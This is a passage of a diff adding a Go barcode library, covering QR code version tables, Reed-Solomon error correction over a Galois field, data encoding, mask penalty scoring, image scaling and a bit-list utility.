set(8, 5, formatInfo[9])
set(8, 4, formatInfo[10])
set(8, 3, formatInfo[11])
set(8, 2, formatInfo[12])
set(8, 1, formatInfo[13])
set(8, 0, formatInfo[14])
set(8, dim-1, formatInfo[0])
set(8, dim-2, formatInfo[1])
set(8, dim-3, formatInfo[2])
set(8, dim-4, formatInfo[3])
set(8, dim-5, formatInfo[4])
set(8, dim-6, formatInfo[5])
set(8, dim-7, formatInfo[6])
set(dim-8, 8, formatInfo[7])
set(dim-7, 8, formatInfo[8])
set(dim-6, 8, formatInfo[9])
set(dim-5, 8, formatInfo[10])
set(dim-4, 8, formatInfo[11])
set(dim-3, 8, formatInfo[12])
set(dim-2, 8, formatInfo[13])
set(dim-1, 8, formatInfo[14])
}
}
var versionInfoBitsByVersion = map[byte][]bool{
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
}
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
if ok && len(versionInfoBits) > 0 {
for i := 0; i < len(versionInfoBits); i++ {
x := (vi.modulWidth() - 11) + i%3
y := i / 3
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
}
}
}
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
bl.AddBit(false)
}
for bl.Len()%8 != 0 {
bl.AddBit(false)
}
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
if i%2 == 0 {
bl.AddByte(236)
} else {
bl.AddByte(17)
}
}
}
+29
View File
@@ -0,0 +1,29 @@
package qr
import (
"github.com/boombuler/barcode/utils"
)
type errorCorrection struct {
rs *utils.ReedSolomonEncoder
}
var ec = newErrorCorrection()
func newErrorCorrection() *errorCorrection {
fld := utils.NewGaloisField(285, 256, 0)
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
}
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
dataInts := make([]int, len(data))
for i := 0; i < len(data); i++ {
dataInts[i] = int(data[i])
}
res := ec.rs.Encode(dataInts, int(eccCount))
result := make([]byte, len(res))
for i := 0; i < len(res); i++ {
result[i] = byte(res[i])
}
return result
}
+56
View File
@@ -0,0 +1,56 @@
package qr
import (
"errors"
"fmt"
"strconv"
"github.com/boombuler/barcode/utils"
)
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentBitCount := (len(content) / 3) * 10
switch len(content) % 3 {
case 1:
contentBitCount += 4
case 2:
contentBitCount += 7
}
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(numericMode), 4)
res.AddBits(len(content), vi.charCountBits(numericMode))
for pos := 0; pos < len(content); pos += 3 {
var curStr string
if pos+3 <= len(content) {
curStr = content[pos : pos+3]
} else {
curStr = content[pos:]
}
i, err := strconv.Atoi(curStr)
if err != nil || i < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
}
var bitCnt byte
switch len(curStr) % 3 {
case 0:
bitCnt = 10
case 1:
bitCnt = 4
break
case 2:
bitCnt = 7
break
}
res.AddBits(i, bitCnt)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+166
View File
@@ -0,0 +1,166 @@
package qr
import (
"image"
"image/color"
"math"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type qrcode struct {
dimension int
data *utils.BitList
content string
}
func (qr *qrcode) Content() string {
return qr.content
}
func (qr *qrcode) Metadata() barcode.Metadata {
return barcode.Metadata{barcode.TypeQR, 2}
}
func (qr *qrcode) ColorModel() color.Model {
return color.Gray16Model
}
func (qr *qrcode) Bounds() image.Rectangle {
return image.Rect(0, 0, qr.dimension, qr.dimension)
}
func (qr *qrcode) At(x, y int) color.Color {
if qr.Get(x, y) {
return color.Black
}
return color.White
}
func (qr *qrcode) Get(x, y int) bool {
return qr.data.GetBit(x*qr.dimension + y)
}
func (qr *qrcode) Set(x, y int, val bool) {
qr.data.SetBit(x*qr.dimension+y, val)
}
func (qr *qrcode) calcPenalty() uint {
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
}
func (qr *qrcode) calcPenaltyRule1() uint {
var result uint
for x := 0; x < qr.dimension; x++ {
checkForX := false
var cntX uint
checkForY := false
var cntY uint
for y := 0; y < qr.dimension; y++ {
if qr.Get(x, y) == checkForX {
cntX++
} else {
checkForX = !checkForX
if cntX >= 5 {
result += cntX - 2
}
cntX = 1
}
if qr.Get(y, x) == checkForY {
cntY++
} else {
checkForY = !checkForY
if cntY >= 5 {
result += cntY - 2
}
cntY = 1
}
}
if cntX >= 5 {
result += cntX - 2
}
if cntY >= 5 {
result += cntY - 2
}
}
return result
}
func (qr *qrcode) calcPenaltyRule2() uint {
var result uint
for x := 0; x < qr.dimension-1; x++ {
for y := 0; y < qr.dimension-1; y++ {
check := qr.Get(x, y)
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
result += 3
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule3() uint {
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
var result uint
for x := 0; x <= qr.dimension-len(pattern1); x++ {
for y := 0; y < qr.dimension; y++ {
pattern1XFound := true
pattern2XFound := true
pattern1YFound := true
pattern2YFound := true
for i := 0; i < len(pattern1); i++ {
iv := qr.Get(x+i, y)
if iv != pattern1[i] {
pattern1XFound = false
}
if iv != pattern2[i] {
pattern2XFound = false
}
iv = qr.Get(y, x+i)
if iv != pattern1[i] {
pattern1YFound = false
}
if iv != pattern2[i] {
pattern2YFound = false
}
}
if pattern1XFound || pattern2XFound {
result += 40
}
if pattern1YFound || pattern2YFound {
result += 40
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule4() uint {
totalNum := qr.data.Len()
trueCnt := 0
for i := 0; i < totalNum; i++ {
if qr.data.GetBit(i) {
trueCnt++
}
}
percDark := float64(trueCnt) * 100 / float64(totalNum)
floor := math.Abs(math.Floor(percDark/5) - 10)
ceil := math.Abs(math.Ceil(percDark/5) - 10)
return uint(math.Min(floor, ceil) * 10)
}
func newBarcode(dim int) *qrcode {
res := new(qrcode)
res.dimension = dim
res.data = utils.NewBitList(dim * dim)
return res
}
+27
View File
@@ -0,0 +1,27 @@
package qr
import (
"errors"
"github.com/boombuler/barcode/utils"
)
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
data := []byte(content)
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
// required ECI header...
res := new(utils.BitList)
res.AddBits(int(byteMode), 4)
res.AddBits(len(content), vi.charCountBits(byteMode))
for _, b := range data {
res.AddByte(b)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+310
View File
@@ -0,0 +1,310 @@
package qr
import "math"
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
type ErrorCorrectionLevel byte
const (
// L recovers 7% of data
L ErrorCorrectionLevel = iota
// M recovers 15% of data
M
// Q recovers 25% of data
Q
// H recovers 30% of data
H
)
func (ecl ErrorCorrectionLevel) String() string {
switch ecl {
case L:
return "L"
case M:
return "M"
case Q:
return "Q"
case H:
return "H"
}
return "unknown"
}
type encodingMode byte
const (
numericMode encodingMode = 1
alphaNumericMode encodingMode = 2
byteMode encodingMode = 4
kanjiMode encodingMode = 8
)
type versionInfo struct {
Version byte
Level ErrorCorrectionLevel
ErrorCorrectionCodewordsPerBlock byte
NumberOfBlocksInGroup1 byte
DataCodeWordsPerBlockInGroup1 byte
NumberOfBlocksInGroup2 byte
DataCodeWordsPerBlockInGroup2 byte
}
var versionInfos = []*versionInfo{
&versionInfo{1, L, 7, 1, 19, 0, 0},
&versionInfo{1, M, 10, 1, 16, 0, 0},
&versionInfo{1, Q, 13, 1, 13, 0, 0},
&versionInfo{1, H, 17, 1, 9, 0, 0},
&versionInfo{2, L, 10, 1, 34, 0, 0},
&versionInfo{2, M, 16, 1, 28, 0, 0},
&versionInfo{2, Q, 22, 1, 22, 0, 0},
&versionInfo{2, H, 28, 1, 16, 0, 0},
&versionInfo{3, L, 15, 1, 55, 0, 0},
&versionInfo{3, M, 26, 1, 44, 0, 0},
&versionInfo{3, Q, 18, 2, 17, 0, 0},
&versionInfo{3, H, 22, 2, 13, 0, 0},
&versionInfo{4, L, 20, 1, 80, 0, 0},
&versionInfo{4, M, 18, 2, 32, 0, 0},
&versionInfo{4, Q, 26, 2, 24, 0, 0},
&versionInfo{4, H, 16, 4, 9, 0, 0},
&versionInfo{5, L, 26, 1, 108, 0, 0},
&versionInfo{5, M, 24, 2, 43, 0, 0},
&versionInfo{5, Q, 18, 2, 15, 2, 16},
&versionInfo{5, H, 22, 2, 11, 2, 12},
&versionInfo{6, L, 18, 2, 68, 0, 0},
&versionInfo{6, M, 16, 4, 27, 0, 0},
&versionInfo{6, Q, 24, 4, 19, 0, 0},
&versionInfo{6, H, 28, 4, 15, 0, 0},
&versionInfo{7, L, 20, 2, 78, 0, 0},
&versionInfo{7, M, 18, 4, 31, 0, 0},
&versionInfo{7, Q, 18, 2, 14, 4, 15},
&versionInfo{7, H, 26, 4, 13, 1, 14},
&versionInfo{8, L, 24, 2, 97, 0, 0},
&versionInfo{8, M, 22, 2, 38, 2, 39},
&versionInfo{8, Q, 22, 4, 18, 2, 19},
&versionInfo{8, H, 26, 4, 14, 2, 15},
&versionInfo{9, L, 30, 2, 116, 0, 0},
&versionInfo{9, M, 22, 3, 36, 2, 37},
&versionInfo{9, Q, 20, 4, 16, 4, 17},
&versionInfo{9, H, 24, 4, 12, 4, 13},
&versionInfo{10, L, 18, 2, 68, 2, 69},
&versionInfo{10, M, 26, 4, 43, 1, 44},
&versionInfo{10, Q, 24, 6, 19, 2, 20},
&versionInfo{10, H, 28, 6, 15, 2, 16},
&versionInfo{11, L, 20, 4, 81, 0, 0},
&versionInfo{11, M, 30, 1, 50, 4, 51},
&versionInfo{11, Q, 28, 4, 22, 4, 23},
&versionInfo{11, H, 24, 3, 12, 8, 13},
&versionInfo{12, L, 24, 2, 92, 2, 93},
&versionInfo{12, M, 22, 6, 36, 2, 37},
&versionInfo{12, Q, 26, 4, 20, 6, 21},
&versionInfo{12, H, 28, 7, 14, 4, 15},
&versionInfo{13, L, 26, 4, 107, 0, 0},
&versionInfo{13, M, 22, 8, 37, 1, 38},
&versionInfo{13, Q, 24, 8, 20, 4, 21},
&versionInfo{13, H, 22, 12, 11, 4, 12},
&versionInfo{14, L, 30, 3, 115, 1, 116},
&versionInfo{14, M, 24, 4, 40, 5, 41},
&versionInfo{14, Q, 20, 11, 16, 5, 17},
&versionInfo{14, H, 24, 11, 12, 5, 13},
&versionInfo{15, L, 22, 5, 87, 1, 88},
&versionInfo{15, M, 24, 5, 41, 5, 42},
&versionInfo{15, Q, 30, 5, 24, 7, 25},
&versionInfo{15, H, 24, 11, 12, 7, 13},
&versionInfo{16, L, 24, 5, 98, 1, 99},
&versionInfo{16, M, 28, 7, 45, 3, 46},
&versionInfo{16, Q, 24, 15, 19, 2, 20},
&versionInfo{16, H, 30, 3, 15, 13, 16},
&versionInfo{17, L, 28, 1, 107, 5, 108},
&versionInfo{17, M, 28, 10, 46, 1, 47},
&versionInfo{17, Q, 28, 1, 22, 15, 23},
&versionInfo{17, H, 28, 2, 14, 17, 15},
&versionInfo{18, L, 30, 5, 120, 1, 121},
&versionInfo{18, M, 26, 9, 43, 4, 44},
&versionInfo{18, Q, 28, 17, 22, 1, 23},
&versionInfo{18, H, 28, 2, 14, 19, 15},
&versionInfo{19, L, 28, 3, 113, 4, 114},
&versionInfo{19, M, 26, 3, 44, 11, 45},
&versionInfo{19, Q, 26, 17, 21, 4, 22},
&versionInfo{19, H, 26, 9, 13, 16, 14},
&versionInfo{20, L, 28, 3, 107, 5, 108},
&versionInfo{20, M, 26, 3, 41, 13, 42},
&versionInfo{20, Q, 30, 15, 24, 5, 25},
&versionInfo{20, H, 28, 15, 15, 10, 16},
&versionInfo{21, L, 28, 4, 116, 4, 117},
&versionInfo{21, M, 26, 17, 42, 0, 0},
&versionInfo{21, Q, 28, 17, 22, 6, 23},
&versionInfo{21, H, 30, 19, 16, 6, 17},
&versionInfo{22, L, 28, 2, 111, 7, 112},
&versionInfo{22, M, 28, 17, 46, 0, 0},
&versionInfo{22, Q, 30, 7, 24, 16, 25},
&versionInfo{22, H, 24, 34, 13, 0, 0},
&versionInfo{23, L, 30, 4, 121, 5, 122},
&versionInfo{23, M, 28, 4, 47, 14, 48},
&versionInfo{23, Q, 30, 11, 24, 14, 25},
&versionInfo{23, H, 30, 16, 15, 14, 16},
&versionInfo{24, L, 30, 6, 117, 4, 118},
&versionInfo{24, M, 28, 6, 45, 14, 46},
&versionInfo{24, Q, 30, 11, 24, 16, 25},
&versionInfo{24, H, 30, 30, 16, 2, 17},
&versionInfo{25, L, 26, 8, 106, 4, 107},
&versionInfo{25, M, 28, 8, 47, 13, 48},
&versionInfo{25, Q, 30, 7, 24, 22, 25},
&versionInfo{25, H, 30, 22, 15, 13, 16},
&versionInfo{26, L, 28, 10, 114, 2, 115},
&versionInfo{26, M, 28, 19, 46, 4, 47},
&versionInfo{26, Q, 28, 28, 22, 6, 23},
&versionInfo{26, H, 30, 33, 16, 4, 17},
&versionInfo{27, L, 30, 8, 122, 4, 123},
&versionInfo{27, M, 28, 22, 45, 3, 46},
&versionInfo{27, Q, 30, 8, 23, 26, 24},
&versionInfo{27, H, 30, 12, 15, 28, 16},
&versionInfo{28, L, 30, 3, 117, 10, 118},
&versionInfo{28, M, 28, 3, 45, 23, 46},
&versionInfo{28, Q, 30, 4, 24, 31, 25},
&versionInfo{28, H, 30, 11, 15, 31, 16},
&versionInfo{29, L, 30, 7, 116, 7, 117},
&versionInfo{29, M, 28, 21, 45, 7, 46},
&versionInfo{29, Q, 30, 1, 23, 37, 24},
&versionInfo{29, H, 30, 19, 15, 26, 16},
&versionInfo{30, L, 30, 5, 115, 10, 116},
&versionInfo{30, M, 28, 19, 47, 10, 48},
&versionInfo{30, Q, 30, 15, 24, 25, 25},
&versionInfo{30, H, 30, 23, 15, 25, 16},
&versionInfo{31, L, 30, 13, 115, 3, 116},
&versionInfo{31, M, 28, 2, 46, 29, 47},
&versionInfo{31, Q, 30, 42, 24, 1, 25},
&versionInfo{31, H, 30, 23, 15, 28, 16},
&versionInfo{32, L, 30, 17, 115, 0, 0},
&versionInfo{32, M, 28, 10, 46, 23, 47},
&versionInfo{32, Q, 30, 10, 24, 35, 25},
&versionInfo{32, H, 30, 19, 15, 35, 16},
&versionInfo{33, L, 30, 17, 115, 1, 116},
&versionInfo{33, M, 28, 14, 46, 21, 47},
&versionInfo{33, Q, 30, 29, 24, 19, 25},
&versionInfo{33, H, 30, 11, 15, 46, 16},
&versionInfo{34, L, 30, 13, 115, 6, 116},
&versionInfo{34, M, 28, 14, 46, 23, 47},
&versionInfo{34, Q, 30, 44, 24, 7, 25},
&versionInfo{34, H, 30, 59, 16, 1, 17},
&versionInfo{35, L, 30, 12, 121, 7, 122},
&versionInfo{35, M, 28, 12, 47, 26, 48},
&versionInfo{35, Q, 30, 39, 24, 14, 25},
&versionInfo{35, H, 30, 22, 15, 41, 16},
&versionInfo{36, L, 30, 6, 121, 14, 122},
&versionInfo{36, M, 28, 6, 47, 34, 48},
&versionInfo{36, Q, 30, 46, 24, 10, 25},
&versionInfo{36, H, 30, 2, 15, 64, 16},
&versionInfo{37, L, 30, 17, 122, 4, 123},
&versionInfo{37, M, 28, 29, 46, 14, 47},
&versionInfo{37, Q, 30, 49, 24, 10, 25},
&versionInfo{37, H, 30, 24, 15, 46, 16},
&versionInfo{38, L, 30, 4, 122, 18, 123},
&versionInfo{38, M, 28, 13, 46, 32, 47},
&versionInfo{38, Q, 30, 48, 24, 14, 25},
&versionInfo{38, H, 30, 42, 15, 32, 16},
&versionInfo{39, L, 30, 20, 117, 4, 118},
&versionInfo{39, M, 28, 40, 47, 7, 48},
&versionInfo{39, Q, 30, 43, 24, 22, 25},
&versionInfo{39, H, 30, 10, 15, 67, 16},
&versionInfo{40, L, 30, 19, 118, 6, 119},
&versionInfo{40, M, 28, 18, 47, 31, 48},
&versionInfo{40, Q, 30, 34, 24, 34, 25},
&versionInfo{40, H, 30, 20, 15, 61, 16},
}
func (vi *versionInfo) totalDataBytes() int {
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
return (g1Data + g2Data)
}
func (vi *versionInfo) charCountBits(m encodingMode) byte {
switch m {
case numericMode:
if vi.Version < 10 {
return 10
} else if vi.Version < 27 {
return 12
}
return 14
case alphaNumericMode:
if vi.Version < 10 {
return 9
} else if vi.Version < 27 {
return 11
}
return 13
case byteMode:
if vi.Version < 10 {
return 8
}
return 16
case kanjiMode:
if vi.Version < 10 {
return 8
} else if vi.Version < 27 {
return 10
}
return 12
default:
return 0
}
}
func (vi *versionInfo) modulWidth() int {
return ((int(vi.Version) - 1) * 4) + 21
}
func (vi *versionInfo) alignmentPatternPlacements() []int {
if vi.Version == 1 {
return make([]int, 0)
}
first := 6
last := vi.modulWidth() - 7
space := float64(last - first)
count := int(math.Ceil(space/28)) + 1
result := make([]int, count)
result[0] = first
result[len(result)-1] = last
if count > 2 {
step := int(math.Ceil(float64(last-first) / float64(count-1)))
if step%2 == 1 {
frac := float64(last-first) / float64(count-1)
_, x := math.Modf(frac)
if x >= 0.5 {
frac = math.Ceil(frac)
} else {
frac = math.Floor(frac)
}
if int(frac)%2 == 0 {
step--
} else {
step++
}
}
for i := 1; i <= count-2; i++ {
result[i] = last - (step * (count - 1 - i))
}
}
return result
}
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
dataBits = dataBits + 4 // mode indicator
for _, vi := range versionInfos {
if vi.Level == ecl {
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
return vi
}
}
}
return nil
}
+134
View File
@@ -0,0 +1,134 @@
package barcode
import (
"errors"
"fmt"
"image"
"image/color"
"math"
)
type wrapFunc func(x, y int) color.Color
type scaledBarcode struct {
wrapped Barcode
wrapperFunc wrapFunc
rect image.Rectangle
}
type intCSscaledBC struct {
scaledBarcode
}
func (bc *scaledBarcode) Content() string {
return bc.wrapped.Content()
}
func (bc *scaledBarcode) Metadata() Metadata {
return bc.wrapped.Metadata()
}
func (bc *scaledBarcode) ColorModel() color.Model {
return bc.wrapped.ColorModel()
}
func (bc *scaledBarcode) Bounds() image.Rectangle {
return bc.rect
}
func (bc *scaledBarcode) At(x, y int) color.Color {
return bc.wrapperFunc(x, y)
}
func (bc *intCSscaledBC) CheckSum() int {
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
return cs.CheckSum()
}
return 0
}
// Scale returns a resized barcode with the given width and height.
func Scale(bc Barcode, width, height int) (Barcode, error) {
switch bc.Metadata().Dimensions {
case 1:
return scale1DCode(bc, width, height)
case 2:
return scale2DCode(bc, width, height)
}
return nil, errors.New("unsupported barcode format")
}
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
result := &scaledBarcode{
wrapped: wrapped,
wrapperFunc: wrapperFunc,
rect: rect,
}
if _, ok := wrapped.(BarcodeIntCS); ok {
return &intCSscaledBC{*result}
}
return result
}
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
}
offsetX := (width - (orgWidth * factor)) / 2
offsetY := (height - (orgHeight * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX || y < offsetY {
return color.White
}
x = (x - offsetX) / factor
y = (y - offsetY) / factor
if x >= orgWidth || y >= orgHeight {
return color.White
}
return bc.At(x, y)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
factor := int(float64(width) / float64(orgWidth))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
}
offsetX := (width - (orgWidth * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX {
return color.White
}
x = (x - offsetX) / factor
if x >= orgWidth {
return color.White
}
return bc.At(x, 0)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
+57
View File
@@ -0,0 +1,57 @@
// Package utils contain some utilities which are needed to create barcodes
package utils
import (
"image"
"image/color"
"github.com/boombuler/barcode"
)
type base1DCode struct {
*BitList
kind string
content string
}
type base1DCodeIntCS struct {
base1DCode
checksum int
}
func (c *base1DCode) Content() string {
return c.content
}
func (c *base1DCode) Metadata() barcode.Metadata {
return barcode.Metadata{c.kind, 1}
}
func (c *base1DCode) ColorModel() color.Model {
return color.Gray16Model
}
func (c *base1DCode) Bounds() image.Rectangle {
return image.Rect(0, 0, c.Len(), 1)
}
func (c *base1DCode) At(x, y int) color.Color {
if c.GetBit(x) {
return color.Black
}
return color.White
}
func (c *base1DCodeIntCS) CheckSum() int {
return c.checksum
}
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
}
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
return &base1DCode{bars, codeKind, content}
}
+119
View File
@@ -0,0 +1,119 @@
package utils
// BitList is a list that contains bits
type BitList struct {
count int
data []int32
}
// NewBitList returns a new BitList with the given length
// all bits are initialize with false
func NewBitList(capacity int) *BitList {
bl := new(BitList)
bl.count = capacity
x := 0
if capacity%32 != 0 {
x = 1
}
bl.data = make([]int32, capacity/32+x)
return bl
}
// Len returns the number of contained bits
func (bl *BitList) Len() int {
return bl.count
}
func (bl *BitList) grow() {
growBy := len(bl.data)
if growBy < 128 {
growBy = 128
} else if growBy >= 1024 {
growBy = 1024
}
nd := make([]int32, len(bl.data)+growBy)
copy(nd, bl.data)
bl.data = nd
}
// AddBit appends the given bits to the end of the list
func (bl *BitList) AddBit(bits ...bool) {
for _, bit := range bits {
itmIndex := bl.count / 32
for itmIndex >= len(bl.data) {
bl.grow()
}
bl.SetBit(bl.count, bit)
bl.count++
}
}
// SetBit sets the bit at the given index to the given value
func (bl *BitList) SetBit(index int, value bool) {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
if value {
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
} else {
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
}
}
// GetBit returns the bit at the given index
func (bl *BitList) GetBit(index int) bool {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
}
// AddByte appends all 8 bits of the given byte to the end of the list
func (bl *BitList) AddByte(b byte) {
for i := 7; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
func (bl *BitList) AddBits(b int, count byte) {
for i := int(count) - 1; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// GetBytes returns all bits of the BitList as a []byte
func (bl *BitList) GetBytes() []byte {
len := bl.count >> 3
if (bl.count % 8) != 0 {
len++
}
result := make([]byte, len)
for i := 0; i < len; i++ {
shift := (3 - (i % 4)) * 8
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
}
return result
}
// IterateBytes iterates through all bytes contained in the BitList
func (bl *BitList) IterateBytes() <-chan byte {
res := make(chan byte)
go func() {
c := bl.count
shift := 24
i := 0
for c > 0 {
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
shift -= 8
if shift < 0 {
shift = 24
i++
}
c -= 8
}
close(res)
}()
return res
}
+65
View File
@@ -0,0 +1,65 @@
package utils
// GaloisField encapsulates galois field arithmetics
type GaloisField struct {
Size int
Base int
ALogTbl []int
LogTbl []int
}
// NewGaloisField creates a new galois field
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
result := new(GaloisField)
result.Size = fieldSize
result.Base = b
result.ALogTbl = make([]int, fieldSize)
result.LogTbl = make([]int, fieldSize)
x := 1
for i := 0; i < fieldSize; i++ {
result.ALogTbl[i] = x
x = x * 2
if x >= fieldSize {
x = (x ^ pp) & (fieldSize - 1)
}
}
for i := 0; i < fieldSize; i++ {
result.LogTbl[result.ALogTbl[i]] = int(i)
}
return result
}
func (gf *GaloisField) Zero() *GFPoly {
return NewGFPoly(gf, []int{0})
}
// AddOrSub add or substract two numbers
func (gf *GaloisField) AddOrSub(a, b int) int {
return a ^ b
}
// Multiply multiplys two numbers
func (gf *GaloisField) Multiply(a, b int) int {
if a == 0 || b == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
}
// Divide divides two numbers
func (gf *GaloisField) Divide(a, b int) int {
if b == 0 {
panic("divide by zero")
} else if a == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
}
func (gf *GaloisField) Invers(num int) int {
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
}
+103
View File
@@ -0,0 +1,103 @@
package utils
type GFPoly struct {
gf *GaloisField
Coefficients []int
}
func (gp *GFPoly) Degree() int {
return len(gp.Coefficients) - 1
}
func (gp *GFPoly) Zero() bool {
return gp.Coefficients[0] == 0
}
// GetCoefficient returns the coefficient of x ^ degree
func (gp *GFPoly) GetCoefficient(degree int) int {
return gp.Coefficients[gp.Degree()-degree]
}
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
if gp.Zero() {
return other
} else if other.Zero() {
return gp
}
smallCoeff := gp.Coefficients
largeCoeff := other.Coefficients
if len(smallCoeff) > len(largeCoeff) {
